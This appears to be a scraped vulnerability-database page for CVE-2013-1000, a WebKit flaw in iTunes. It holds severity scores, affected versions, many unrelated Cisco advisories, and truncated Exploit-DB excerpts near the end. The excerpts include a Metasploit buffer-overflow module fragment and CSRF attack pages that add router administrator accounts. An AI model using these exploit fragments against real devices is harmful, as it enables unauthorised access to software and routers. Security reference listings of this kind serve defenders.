CVE-2013-1000
published 2013-05-20CVE-2013-1000: WebKit, as used in Apple iTunes before 11.0.3, allows man-in-the-middle attackers to execute arbitrary code or cause a denial of service (memory corruption and…
PriorityP337critical9.3CVSS 2.0
AVNACMAuNCCICAC
EPSS
2.74%
84.5th percentile
WebKit, as used in Apple iTunes before 11.0.3, allows man-in-the-middle attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via vectors related to iTunes Store browsing, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2013-05-16-1.
Affected
127 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | iphone_os | <= 6.1.4 | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
| apple | iphone_os | — | — |
CVSS provenance
nvdv2.09.3CRITICALAV:N/AC:M/Au:N/C:C/I:C/A:C
osv9.3CRITICAL
vendor_cisco9.0CRITICAL
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-h2ww-qm2g-98qf: WebKit, as used in Apple iTunes before 11
ghsa_unreviewed·2022-05-14
CVE-2013-1000 [HIGH] CWE-119 GHSA-h2ww-qm2g-98qf: WebKit, as used in Apple iTunes before 11
WebKit, as used in Apple iTunes before 11.0.3, allows man-in-the-middle attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via vectors related to iTunes Store browsing, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2013-05-16-1.
OSV
CVE-2013-1000: WebKit, as used in Apple iTunes before 11
osv·2013-05-20·CVSS 9.3
CVE-2013-1000 [CRITICAL] CVE-2013-1000: WebKit, as used in Apple iTunes before 11
WebKit, as used in Apple iTunes before 11.0.3, allows man-in-the-middle attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via vectors related to iTunes Store browsing, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2013-05-16-1.
Cisco
Multiple Vulnerabilities in Cisco NX-OS-Based Products
vendor_cisco·2014-05-21·CVSS 7.8
CVE-2013-1191 [HIGH] CWE-119 Multiple Vulnerabilities in Cisco NX-OS-Based Products
Multiple Vulnerabilities in Cisco NX-OS-Based Products
Cisco Nexus, Cisco Unified Computing System (UCS), and Cisco 1000 Series Connected Grid Routers (CGR) are all based on the Cisco NX-OS operating system. These products are affected by one or more of the following vulnerabilities:
Cisco NX-OS Virtual Device Context SSH Privilege Escalation Vulnerability
Cisco NX-OS Virtual Device Context SSH Key Privilege Escalation Vulnerability
Cisco NX-OS-Based Products Smart Call Home Buffer Overflow Vulnerability
Cisco NX-OS Message Transfer Service Denial of Service Vulnerability
No officially released images are affected
Cisco has released software updates that address these vulnerabilities.
This advisory is available at the following link:
https://sec.cloudapps.cisco.com/security/center
Cisco
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
vendor_cisco·2013-10-30·CVSS 7.8
CVE-2013-5543 [HIGH] CWE-399 Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Cisco IOS XE Software for 1000 Series Aggregation Services Routers (ASR) contains the following denial of service (DoS) vulnerabilities:
Cisco IOS XE Software Malformed ICMP Packet Denial of Service Vulnerability
Cisco IOS XE Software PPTP Traffic Denial of Service Vulnerability
Cisco IOS XE Software TCP Segment Reassembly Denial of Service Vulnerability
Cisco IOS XE Software Malformed EoGRE Packet Denial of Service Vulnerability
These vulnerabilities are independent of each other; a release that is affected by one of the vulnerabilities may not be affected by the others.
Successful exploitation of any of these vulnerabilities could allow an unauthenticated remote attacker to trigger a reloa
Cisco
Multiple Vulnerabilities in Cisco NX-OS-Based Products
vendor_cisco·2013-04-24·CVSS 9.0
CVE-2013-1178 [CRITICAL] CWE-119 Multiple Vulnerabilities in Cisco NX-OS-Based Products
Multiple Vulnerabilities in Cisco NX-OS-Based Products
Cisco Nexus, Cisco Unified Computing System (UCS), Cisco MDS 9000 Series Multilayer Switches, and Cisco 1000 Series Connected Grid Routers (CGR) are all based on the Cisco NX-OS operating system. These products are affected by one or more of the following vulnerabilities:
Multiple Cisco Discovery Protocol Vulnerabilities in Cisco NX-OS-Based Products
Cisco NX-OS Software SNMP and License Manager Buffer Overflow Vulnerability
Cisco NX-OS Software SNMP Buffer Overflow Vulnerability
Cisco NX-OS Software Jumbo Packet Denial of Service Vulnerability
Cisco has released software updates that address these vulnerabilities.
This advisory is available at the following link:
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecuri
Cisco
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
vendor_cisco·2013-04-15·CVSS 7.8
CVE-2013-1164 [HIGH] CWE-119 Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Cisco IOS XE Software for 1000 Series Aggregation Services Routers (ASR) contains the following denial of service (DoS) vulnerabilities:
Cisco IOS XE Software IPv6 Multicast Traffic Denial of Service Vulnerability
Cisco IOS XE Software MVPNv6 Traffic Denial of Service Vulnerability
Cisco IOS XE Software L2TP Traffic Denial of Service Vulnerability
Cisco IOS XE Software Bridge Domain Interface Denial of Service Vulnerability
Cisco IOS XE Software SIP Traffic Denial of Service Vulnerability
These vulnerabilities are independent of each other; a release that is affected by one of the vulnerabilities may not be affected by the others.
Successful exploitation of any of these vulnerabilities coul
Cisco
Multiple Vulnerabilities in Cisco NX-OS-Based Products
vendor_cisco
CVE-2013-1178 Multiple Vulnerabilities in Cisco NX-OS-Based Products
CVE-2013-1178: Multiple Vulnerabilities in Cisco NX-OS-Based Products
Cisco Nexus, Cisco Unified Computing System (UCS), Cisco MDS 9000 Series Multilayer Switches, and Cisco 1000 Series Connected Grid Routers (CGR) are all based on the Cisco NX-OS operating system. These products are affected by one or more of the following vulnerabilities: Multiple Cisco Discovery Protocol Vulnerabilities in Cisco NX-OS-Based Products Cisco NX-OS Software SNMP and License Manager Buffer Overflow Vulnerability Cisco NX-OS Software SNMP Buffer Overflow Vulnerability Cisco NX-OS Software Jumbo Packet Denial of Service Vulnerability Cisco has released software updates that address these vulnerabilities. This advisory is available at the following link: https://sec.cloudapps.cisco.com/security/center/content/C
Cisco
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
vendor_cisco
CVE-2013-5547 Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
CVE-2013-5547: Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Cisco IOS XE Software for 1000 Series Aggregation Services Routers (ASR) contains the following denial of service (DoS) vulnerabilities: Cisco IOS XE Software Malformed ICMP Packet Denial of Service Vulnerability Cisco IOS XE Software PPTP Traffic Denial of Service Vulnerability Cisco IOS XE Software TCP Segment Reassembly Denial of Service Vulnerability Cisco IOS XE Software Malformed EoGRE Packet Denial of Service Vulnerability These vulnerabilities are independent of each other; a release that is affected by one of the vulnerabilities may not be affected by the others. Successful exploitation of any of these vulnerabilities could allow an unauthenticated remote attacker to trigg
Cisco
Multiple Vulnerabilities in Cisco NX-OS-Based Products
vendor_cisco
CVE-2013-1179 Multiple Vulnerabilities in Cisco NX-OS-Based Products
CVE-2013-1179: Multiple Vulnerabilities in Cisco NX-OS-Based Products
Cisco Nexus, Cisco Unified Computing System (UCS), Cisco MDS 9000 Series Multilayer Switches, and Cisco 1000 Series Connected Grid Routers (CGR) are all based on the Cisco NX-OS operating system. These products are affected by one or more of the following vulnerabilities: Multiple Cisco Discovery Protocol Vulnerabilities in Cisco NX-OS-Based Products Cisco NX-OS Software SNMP and License Manager Buffer Overflow Vulnerability Cisco NX-OS Software SNMP Buffer Overflow Vulnerability Cisco NX-OS Software Jumbo Packet Denial of Service Vulnerability Cisco has released software updates that address these vulnerabilities. This advisory is available at the following link: https://sec.cloudapps.cisco.com/security/center/content/C
Cisco
Multiple Vulnerabilities in Cisco NX-OS-Based Products
vendor_cisco
CVE-2013-1180 Multiple Vulnerabilities in Cisco NX-OS-Based Products
CVE-2013-1180: Multiple Vulnerabilities in Cisco NX-OS-Based Products
Cisco Nexus, Cisco Unified Computing System (UCS), Cisco MDS 9000 Series Multilayer Switches, and Cisco 1000 Series Connected Grid Routers (CGR) are all based on the Cisco NX-OS operating system. These products are affected by one or more of the following vulnerabilities: Multiple Cisco Discovery Protocol Vulnerabilities in Cisco NX-OS-Based Products Cisco NX-OS Software SNMP and License Manager Buffer Overflow Vulnerability Cisco NX-OS Software SNMP Buffer Overflow Vulnerability Cisco NX-OS Software Jumbo Packet Denial of Service Vulnerability Cisco has released software updates that address these vulnerabilities. This advisory is available at the following link: https://sec.cloudapps.cisco.com/security/center/content/C
Cisco
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
vendor_cisco
CVE-2013-5546 Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
CVE-2013-5546: Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Cisco IOS XE Software for 1000 Series Aggregation Services Routers (ASR) contains the following denial of service (DoS) vulnerabilities: Cisco IOS XE Software Malformed ICMP Packet Denial of Service Vulnerability Cisco IOS XE Software PPTP Traffic Denial of Service Vulnerability Cisco IOS XE Software TCP Segment Reassembly Denial of Service Vulnerability Cisco IOS XE Software Malformed EoGRE Packet Denial of Service Vulnerability These vulnerabilities are independent of each other; a release that is affected by one of the vulnerabilities may not be affected by the others. Successful exploitation of any of these vulnerabilities could allow an unauthenticated remote attacker to trigg
Cisco
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
vendor_cisco
CVE-2013-1166 Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
CVE-2013-1166: Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Cisco IOS XE Software for 1000 Series Aggregation Services Routers (ASR) contains the following denial of service (DoS) vulnerabilities: Cisco IOS XE Software IPv6 Multicast Traffic Denial of Service Vulnerability Cisco IOS XE Software MVPNv6 Traffic Denial of Service Vulnerability Cisco IOS XE Software L2TP Traffic Denial of Service Vulnerability Cisco IOS XE Software Bridge Domain Interface Denial of Service Vulnerability Cisco IOS XE Software SIP Traffic Denial of Service Vulnerability These vulnerabilities are independent of each other; a release that is affected by one of the vulnerabilities may not be affected by the others. Successful exploitation of any of these vulnerabili
Cisco
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
vendor_cisco
CVE-2013-5543 Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
CVE-2013-5543: Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Cisco IOS XE Software for 1000 Series Aggregation Services Routers (ASR) contains the following denial of service (DoS) vulnerabilities: Cisco IOS XE Software Malformed ICMP Packet Denial of Service Vulnerability Cisco IOS XE Software PPTP Traffic Denial of Service Vulnerability Cisco IOS XE Software TCP Segment Reassembly Denial of Service Vulnerability Cisco IOS XE Software Malformed EoGRE Packet Denial of Service Vulnerability These vulnerabilities are independent of each other; a release that is affected by one of the vulnerabilities may not be affected by the others. Successful exploitation of any of these vulnerabilities could allow an unauthenticated remote attacker to trigg
Cisco
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
vendor_cisco
CVE-2013-1164 Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
CVE-2013-1164: Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Cisco IOS XE Software for 1000 Series Aggregation Services Routers (ASR) contains the following denial of service (DoS) vulnerabilities: Cisco IOS XE Software IPv6 Multicast Traffic Denial of Service Vulnerability Cisco IOS XE Software MVPNv6 Traffic Denial of Service Vulnerability Cisco IOS XE Software L2TP Traffic Denial of Service Vulnerability Cisco IOS XE Software Bridge Domain Interface Denial of Service Vulnerability Cisco IOS XE Software SIP Traffic Denial of Service Vulnerability These vulnerabilities are independent of each other; a release that is affected by one of the vulnerabilities may not be affected by the others. Successful exploitation of any of these vulnerabili
Cisco
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
vendor_cisco
CVE-2013-1165 Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
CVE-2013-1165: Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Cisco IOS XE Software for 1000 Series Aggregation Services Routers (ASR) contains the following denial of service (DoS) vulnerabilities: Cisco IOS XE Software IPv6 Multicast Traffic Denial of Service Vulnerability Cisco IOS XE Software MVPNv6 Traffic Denial of Service Vulnerability Cisco IOS XE Software L2TP Traffic Denial of Service Vulnerability Cisco IOS XE Software Bridge Domain Interface Denial of Service Vulnerability Cisco IOS XE Software SIP Traffic Denial of Service Vulnerability These vulnerabilities are independent of each other; a release that is affected by one of the vulnerabilities may not be affected by the others. Successful exploitation of any of these vulnerabili
Cisco
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
vendor_cisco
CVE-2013-2779 Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
CVE-2013-2779: Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Cisco IOS XE Software for 1000 Series Aggregation Services Routers (ASR) contains the following denial of service (DoS) vulnerabilities: Cisco IOS XE Software IPv6 Multicast Traffic Denial of Service Vulnerability Cisco IOS XE Software MVPNv6 Traffic Denial of Service Vulnerability Cisco IOS XE Software L2TP Traffic Denial of Service Vulnerability Cisco IOS XE Software Bridge Domain Interface Denial of Service Vulnerability Cisco IOS XE Software SIP Traffic Denial of Service Vulnerability These vulnerabilities are independent of each other; a release that is affected by one of the vulnerabilities may not be affected by the others. Successful exploitation of any of these vulnerabili
Cisco
Multiple Vulnerabilities in Cisco NX-OS-Based Products
vendor_cisco
CVE-2013-1181 Multiple Vulnerabilities in Cisco NX-OS-Based Products
CVE-2013-1181: Multiple Vulnerabilities in Cisco NX-OS-Based Products
Cisco Nexus, Cisco Unified Computing System (UCS), Cisco MDS 9000 Series Multilayer Switches, and Cisco 1000 Series Connected Grid Routers (CGR) are all based on the Cisco NX-OS operating system. These products are affected by one or more of the following vulnerabilities: Multiple Cisco Discovery Protocol Vulnerabilities in Cisco NX-OS-Based Products Cisco NX-OS Software SNMP and License Manager Buffer Overflow Vulnerability Cisco NX-OS Software SNMP Buffer Overflow Vulnerability Cisco NX-OS Software Jumbo Packet Denial of Service Vulnerability Cisco has released software updates that address these vulnerabilities. This advisory is available at the following link: https://sec.cloudapps.cisco.com/security/center/content/C
Cisco
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
vendor_cisco
CVE-2013-1167 Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
CVE-2013-1167: Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Cisco IOS XE Software for 1000 Series Aggregation Services Routers (ASR) contains the following denial of service (DoS) vulnerabilities: Cisco IOS XE Software IPv6 Multicast Traffic Denial of Service Vulnerability Cisco IOS XE Software MVPNv6 Traffic Denial of Service Vulnerability Cisco IOS XE Software L2TP Traffic Denial of Service Vulnerability Cisco IOS XE Software Bridge Domain Interface Denial of Service Vulnerability Cisco IOS XE Software SIP Traffic Denial of Service Vulnerability These vulnerabilities are independent of each other; a release that is affected by one of the vulnerabilities may not be affected by the others. Successful exploitation of any of these vulnerabili
Cisco
Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
vendor_cisco
CVE-2013-5545 Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
CVE-2013-5545: Multiple Vulnerabilities in Cisco IOS XE Software for 1000 Series Aggregation Services Routers
Cisco IOS XE Software for 1000 Series Aggregation Services Routers (ASR) contains the following denial of service (DoS) vulnerabilities: Cisco IOS XE Software Malformed ICMP Packet Denial of Service Vulnerability Cisco IOS XE Software PPTP Traffic Denial of Service Vulnerability Cisco IOS XE Software TCP Segment Reassembly Denial of Service Vulnerability Cisco IOS XE Software Malformed EoGRE Packet Denial of Service Vulnerability These vulnerabilities are independent of each other; a release that is affected by one of the vulnerabilities may not be affected by the others. Successful exploitation of any of these vulnerabilities could allow an unauthenticated remote attacker to trigg
Cisco
Multiple Vulnerabilities in Cisco NX-OS-Based Products
vendor_cisco
CVE-2013-1191 Multiple Vulnerabilities in Cisco NX-OS-Based Products
CVE-2013-1191: Multiple Vulnerabilities in Cisco NX-OS-Based Products
Cisco Nexus, Cisco Unified Computing System (UCS), and Cisco 1000 Series Connected Grid Routers (CGR) are all based on the Cisco NX-OS operating system. These products are affected by one or more of the following vulnerabilities: Cisco NX-OS Virtual Device Context SSH Privilege Escalation Vulnerability Cisco NX-OS Virtual Device Context SSH Key Privilege Escalation Vulnerability Cisco NX-OS-Based Products Smart Call Home Buffer Overflow Vulnerability Cisco NX-OS Message Transfer Service Denial of Service Vulnerability No officially released images are affected Cisco has released software updates that address these vulnerabilities. This advisory is available at the following link: https://sec.cloudapps.cisco.com/security/
No detection rules found.
Exploit-DB
EMC AlphaStor Library Manager < 4.0 build 910 - Opcode 0x4f Buffer Overflow (Metasploit)
exploitdb·2017-09-14
CVE-2013-0946 EMC AlphaStor Library Manager < 4.0 build 910 - Opcode 0x4f Buffer Overflow (Metasploit)
EMC AlphaStor Library Manager 'EMC AlphaStor Library Manager Opcode 0x4f',
'Description' => %q{
This module exploits a stack based buffer overflow found in EMC
Alphastor Library Manager version [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-029/' ],
[ 'CVE', '2013-0946' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'wfsdelay' => 1000
},
'Privileged' => true,
'Payload' =>
{
'Space' => 160,
'DisableNops' => 'true',
'BadChars' => "\x00\x09\x0a\x0d",
'StackAdjustment' => -404,
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'Compat' =>
{
'SymbolLookup' => 'ws2ord',
},
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows Server 2003 SP2 EN',
{
# msvcrt.dll
# add esp, 0c/ retn
'Ret' => 0x77bdda70,
}
],
Exploit-DB
Microsoft Internet Explorer 9 - CDoc::ExecuteScriptUri Use-After-Free (MS13-009)
exploitdb·2016-12-06
CVE-2013-0019 Microsoft Internet Explorer 9 - CDoc::ExecuteScriptUri Use-After-Free (MS13-009)
Microsoft Internet Explorer 9 - CDoc::ExecuteScriptUri Use-After-Free (MS13-009)
---
window.open("Repro.xml", "iframe");
setTimeout(function () {
window.open('javascript:void(location.href = "about:blank");', "iframe");
}, 1000);
Description
This is the first security vulnerability I sold to ZDI after I quit my job at Google to live off security bug bounties. It appears I either did not analyze this issue (probably), or misplaced my analysis (probably not), as I cannot find any details in my archives, other than a repro and a HTML bug report (provided below) created by a predecessor to BugId. From the information provided by ZDI in their advisory, and Microsoft in their bulletin, as well as the bug report, it seems to have been a use-after-free vulnerability. Unfortunately, that
Exploit-DB
D-Link DIR-865L - Cross-Site Request Forgery
exploitdb·2013-04-19
CVE-2013-3095 D-Link DIR-865L - Cross-Site Request Forgery
D-Link DIR-865L - Cross-Site Request Forgery
---
source: https://www.securityfocus.com/bid/59312/info
D-Link DIR-865L is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected device. Other attacks are also possible.
D-Link DIR-865L firmware version 1.03 is vulnerable; other versions may also be affected.
D-LINK DIR-865L CSRF DEVICE.ACCOUNT DIR-865L 1 2 1 USR- Admin ISE 0 0 0 600 128 16 HTTP.WAN-1 1337 1 HTTP.WAN-2 1337 INBFILTER 1 24 0 ignore ignore ignore SHAREPORT ignore ignore "> function CSRF1() {document.dlinkXML.submit();};window.setTimeout(CSRF1,1000) function CSRF2() {window.open("http://192.168.0.100/dlinkCSRF2.html");}; window.setTimeout(CS
Exploit-DB
Verizon Fios Router MI424WR-GEN3I - Cross-Site Request Forgery
exploitdb·2013-03-19·CVSS 6.8
CVE-2013-0126 [MEDIUM] Verizon Fios Router MI424WR-GEN3I - Cross-Site Request Forgery
Verizon Fios Router MI424WR-GEN3I - Cross-Site Request Forgery
---
# Exploit Title: Verizon Fios Router CSRF Admin Shell
# Date: Discovered and reported January 2013
# Author: Jacob Holcomb/Gimppy - Security Analyst @ Independent Security Evaluators
# Software: Verizon FIOS Router - Firmware 40.19.36 (http://verizon.com)
# CVE: CVE-2013-0126
# Advisory/Video: http://infosec42.blogspot.com/2013/03/verizon-fios-router-csrf-cve-2013-0126.html
US CERT Disclosure: http://www.kb.cert.org/vuls/id/278204
Exploit Code:
HTML FILE #1
Cisco Verizon FIOS CSRF - Adding Administrator User
Please sit tight while we upgrade your router
function CSRF1() {window.open("http://10.0.1.101/verizonFIOS2.html");};window.setTimeout(CSRF1,1000)
function CSRF2() {document.verizonCisco.submit();};window.set
No writeups or analysis indexed.
http://lists.apple.com/archives/security-announce/2013/Jun/msg00001.htmlhttp://lists.apple.com/archives/security-announce/2013/May/msg00000.htmlhttp://lists.apple.com/archives/security-announce/2013/Sep/msg00006.htmlhttp://secunia.com/advisories/54886http://support.apple.com/kb/HT5766http://support.apple.com/kb/HT5785http://support.apple.com/kb/HT5934https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A17396http://lists.apple.com/archives/security-announce/2013/Jun/msg00001.htmlhttp://lists.apple.com/archives/security-announce/2013/May/msg00000.htmlhttp://lists.apple.com/archives/security-announce/2013/Sep/msg00006.htmlhttp://secunia.com/advisories/54886http://support.apple.com/kb/HT5766http://support.apple.com/kb/HT5785http://support.apple.com/kb/HT5934https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A17396
2013-05-20
Published